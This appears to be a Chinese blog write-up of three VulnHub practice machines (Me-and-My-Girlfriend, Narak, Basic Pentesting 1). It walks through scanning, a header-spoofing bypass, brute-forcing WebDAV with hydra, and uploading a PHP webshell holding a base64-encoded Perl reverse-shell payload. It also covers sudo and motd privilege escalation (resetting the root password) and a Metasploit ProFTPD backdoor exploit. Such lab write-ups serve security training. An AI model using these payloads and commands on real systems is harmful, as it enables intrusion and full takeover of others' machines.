• 【内网渗透】vulnhub三个基础靶场wp


    vulnhub三个基础靶场wp

    前置知识:

    linux权限详细解释:

    https://blog.csdn.net/u013197629/article/details/73608613

    linux目录结构详细解释:

    http://c.biancheng.net/view/2833.html

    linux find命令详细解释:

    http://c.biancheng.net/view/779.html

    image-20220910205935761

    #!/bin/bash的含义:

    https://blog.csdn.net/iot_flower/article/details/69055590

    bash shell 文件语法解读与总结:

    https://blog.csdn.net/u012617944/article/details/73693028

    什么是shell脚本:

    https://blog.csdn.net/weixin_42432281/article/details/88392219

    Linux——vi命令详解

    https://blog.csdn.net/cyl101816/article/details/82026678

    1.Me-and-My-Girlfriend-1

    基础信息:

    背景描述:有一对恋人,即Alice和Bob,这对夫妻本来很浪漫,但是自从Alice在一家私人公司“ Ceban Corp”工作以来,爱丽丝对鲍勃的态度发生了一些变化是“隐藏的”,而鲍勃(Bob)寻求您的帮助,以获取爱丽丝(Alice)隐藏的内容并获得对该公司的完全访问权限!

    1.扫描主机扫描端口

    扫描主机扫描端口,最初始的信息收集

    ifconfig 
    

    查看自己主机的ip地址,发现是192.168.245.133

    image-20220910192840598

    nmap 192.168.245.0/24  
    

    扫描这个ip段的所有主机

    image-20220910193109197

    得到主机地址为192.168.245.134的是我们的靶机

    并且开放了22端口和80端口

    2.访问80端口查看信息

    image-20220910193322492

    3.xff

    只能本地访问,那就尝试xff绕过:

    如果xff不行,可以抓包修改:

    X-Forwarded-For:127.0.0.1
    Client-ip:127.0.0.1
    X-Client-IP:127.0.0.1
    X-Remote-IP:127.0.0.1
    X-Rriginating-IP:127.0.0.1
    X-Remote-addr:127.0.0.1
    HTTP_CLIENT_IP:127.0.0.1
    X-Real-IP:127.0.0.1
    X-Originating-IP:127.0.0.1
    via:127.0.0.1
    

    image-20220910193422584

    得到一个登录注册页面:

    image-20220910193431483

    尝试登陆,发现profile页面url有id字段,这也太爽了,sql注入?直接访问?

    image-20220910193526775

    id从1试到12,到5的时候发现,用户名是alice,可能这就是我们要的密码

    4.得到:alice:4lic3登陆靶机

    那直接ssh连接虚拟机看能否登陆

    image-20220910194414932

    连接成功。

    image-20220910194520709

    ll命令,可以默认列出当前目录内文件的详细属性信息还有权限

    直接获得第一个flag和秘密。

    image-20220910194619147

    5.接下来继续做信息收集

    一开始尝试suid提权,但是没有可用的文件:

    SUID目的就是让本来没有权限访问这个文件的用户可以访问这些资源,我们用suid提权就是相当于骑马,可以用上这种权限。有一些文件有suid权限,我们就可以用这些文件来干坏事,自己没有root权限也可以执行root权限。

    find / -user root -perm -4000 -print 2>/dev/null
    

    find命令去查找用户

    image-20220910201538085

    namp、vim、find、bash、more、less、nano、cp都没有

    接下来继续做信息收集

    sudo -l 显示当前用户的权限

    为什么要显示当前用户权限?因为提权是一个漫长的过程,一步一步提升更高的权限,你得知道目前的权限有什么。所以基本上每次提权都要确认自己现在是什么权限,执行一个命令又不会费你多少时间,就是不断信息收集。比如经常输入ls /home 查看当前主机有什么用户,是什么权限

    image-20220910224334381

    发现php是不用密码直接可以root权限的

    可以用root权限执行php

    用php回调bash提权:(还是不太懂根本原理)

    sudo php -r 'system("/bin/bash");'
    

    找flag:

    find / -name 'flag*.*'
    

    2.narak

    1.扫描主机扫描端口

    扫描主机扫描端口,最初始的信息收集

    ifconfig 
    

    192.168.54.128

    nmap 192.168.54.0/24  
    

    扫描这个ip段的所有主机

    得到主机地址为192.168.54.133的是我们的靶机

    image-20220915154844839

    并且开放了22端口和80端口

    2.访问80端口查看信息

    image-20220911115605902

    image-20220911115636767

    3.使用dirb扫描目录

    dirb http://192.168.54.133 
    

    image-20220915155008749

    4.尝试爆破webdav

    发现webdav,webdav也是一种应用

    想要打开,发现需要账号和密码。尝试从web页面获得关键字之后再爆破:

    cewl 通过爬行网站关键信息创建一个密码字典
    
    cewl http://192.168.54.133  -w 1.txt 
    

    再用hydra一把嗦:

    hydra 爆破神器,自动化爆破工具,暴力破解弱密码
    
    hydra -L 1.txt -P 1.txt 192.168.54.133 http-get /webdav
    

    image-20220915153700283

    爆破得到用户名和密码为 yamdoot:Swarg

    5.用cadaver连接之后上传webshell

    webshell:记得正确配置yourip和yourport,是kali 的监听地址

    'perl','c'=>'c');
    $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
    "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
    "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
    "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
    "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    cf('/tmp/.bc',$back_connect);
    $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
    ?>
    

    先启用监听4444端口:

    nc -lvvp 4444
    

    连接webdav且上传webshell:

    cadaver http://192.168.54.133/webdav    //连接
    
    输入用户名和密码yamdoot:Swarg
    
    put shell.php   //上传
    

    上传之后,访问webshell页面,可以看到已经监听到信息:

    image-20220915155555331

    这样就算是反弹了一个shell到kali的监听端口

    在这里看一下权限:whoami

    image-20220915155745502

    www-data权限已经拿到。而且我们现在的用户是yamdoot

    交互式:

    python3 -c 'import pty;pty.spawn("/bin/bash")' 
    

    6.信息收集

    接下来我们通过下面这条命令找一些属主是root 普通用户或组可执行 其他用户可写的文件,这种文件往往可以帮助我们实现权限提升。

    find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
     
    #命令解释:
    从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写  如果发现了符合条件的用 ls -l命令显示  错误信息从定向到null
    

    image-20220915160743095

    在/mnt文件夹里面有一个hell.sh文件,里面放着一串brianfuck编码,这个编码可能是某个密码

    image-20220915160811375

    解码之后得到:chitragupt

    根据查看/home发现的用户,挨个尝试下。

    su inferno
    

    当尝试切换到interno用户的时候,使用揭秘得到的这个字符串成功的su到了inferno用户上。到这里算是完成了从www-data权限到普通用户权限的权限提升。

    这个时候登录其实也是ssh连接登录

    image-20220915161222612

    7.modt提权

    下一步就是要提升自己的权限到root了。

    find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
    

    image-20220915161445904

    这里使用modt提权

    motd是message of the day这句话的缩写,我们通过ssh登录成功后看到的那些欢迎和提示的信息都是motd目录下存放的这些sh脚本所提供的。

    当我们通过ssh登录成功的时候,这些sh脚本会以root权限运行输出那些欢迎信息和日期等等,并且我们当前这个用户对这些文件可读可写,那么提权思路就有了,我们可以通过在这些sh脚本中写入一个修改root用户密码的命令,这样当我们通过ssh用户登录到inferno这个账号上的时候,我们这些motd的sh脚本就会被以root用户的权限执行,这时候我们写入的修改root用户密码的命令也会被执行,之后我们只需要切换到root用户即可完成提权。

    vi /etc/update-motd.d/00-header    #编辑这个文件
    
    echo 'root:123' | chpasswd     #在文件末尾添加这一行,这行的意思就是,使用chpasswd命令将root用户的密码修改为123
    
    记住vim修改的方法,得先按i开始编辑,然后输入:wq保存!!!!!
    
    从插入模式切换为命令行模式按「ESC」键。
    
    删除文字「x」:每按一次,删除光标所在位置的"后面"一个字符。
    
    按「G」:移动到文章的最后。
    
    「h」、「j」、「k」、「l」,分别控制光标左、下、上、右移一格。
    

    然后保存修改后,退出ssh的连接,然后重新使用ssh登录,触发执行我们修改root用户的命令。

    接着只需要su到root用户即可提权成功。

    su root
    

    image-20220915163442987

    3.basic_pentesting_1

    1.扫描主机扫描端口

    扫描主机扫描端口,最初始的信息收集

    这里用的是Netdiscover,二层发现工具,拥有主动和被动发现两种方式

    netdiscover -i eth0 -r 192.168.54.0/24
    

    很快出结果:

    image-20220915143215570

    扫描端口:

    nmap -A 192.168.54.131
    

    或者:

    nmap -sS 192.168.54.131 -p 1-1000
    

    image-20220915143824992

    再进一步的信息:

    nmap -sC -sV -p 80,3306 192.168.54.131 -o 192.168.54.131.txt
    

    image-20220915144037069

    2.msf探测漏洞

    1.开启msfconsole

    msfconsole
    

    2.寻找ftp的ProFTPD 1.3.3c的漏洞并利用

    search proftpd 1.3.3
    
    		2-->proftpd_133c_vackdoor
    
    use 2
    
    show options
    
    set RHOSTS 192.168.245.137
    
    set payload cmd/unix/reverse
    
    show options
    
    set LHOST 192.168.245.137
    
    run 
    

    查询漏洞:

    search proftpd 1.3.3
    

    image-20220915145408645

    选择我们要利用的漏洞,第二个,版本为133c的:

    use 2
    

    打开我们要设置的参数列表:

    show options
    

    required就是告诉是否要手动设置参数,yes就是要,no就是不用,这里要设置的只有rhosts,就是目标机器的ip地址,rport就是目标机器的端口,这里已经帮我们设置好了为21,所以现在只需设置rhosts就可以了

    image-20220915145545046

    通过set命令,设置目标ip地址为192.168.54.131:

    set RHOSTS 192.168.54.131
    

    下一步,设置payload:

    先看有什么payload可以使用:

    show payloads
    

    image-20220915150232004

    这里使用第三个payload:反向连接的payload

    set payload cmd/unix/reverse
    

    接下来查看payload的option,要设置什么东西:

    show options
    

    这里显示,还需要我们设置payload使用的机器ip地址LHOST,也就是我们kali 的IP地址

    image-20220915150521191

    设置LHOST:

    set LHOST 192.168.54.128
    

    直接开干!

    run 
    

    image-20220915151501940

    上图就是最后的结果了,此时我们已经getshell,并且是root权限:

    sudo -l
    

    image-20220915151639069

    进入交互模式:

    python3 -c 'import pty;pty.spawn("/bin/bash")' 
    

    此时靶机已经被拿下

  • 相关阅读:
    华为云AOM 2.0版本发布
    MySQL执行计划分析
    Effective C++看书笔记(3):资源管理
    手机爬虫用Appium详细教程:利用Python控制移动App进行自动化抓取数据
    vite+vue3.0 + TypeScript+element-plus环境搭建
    ViT-L-14.pt下载load checkpoint from xxx
    AndroidStudio运行app需要运行两次生效
    第四章:人工智能深度学习教程-激活函数(第三节-Pytorch 中的激活函数)
    servlet执行详解
    没有二十年功力,写不出Thread.sleep(0)这一行“看似无用”的代码!
  • 原文地址:https://blog.csdn.net/weixin_51614272/article/details/126874696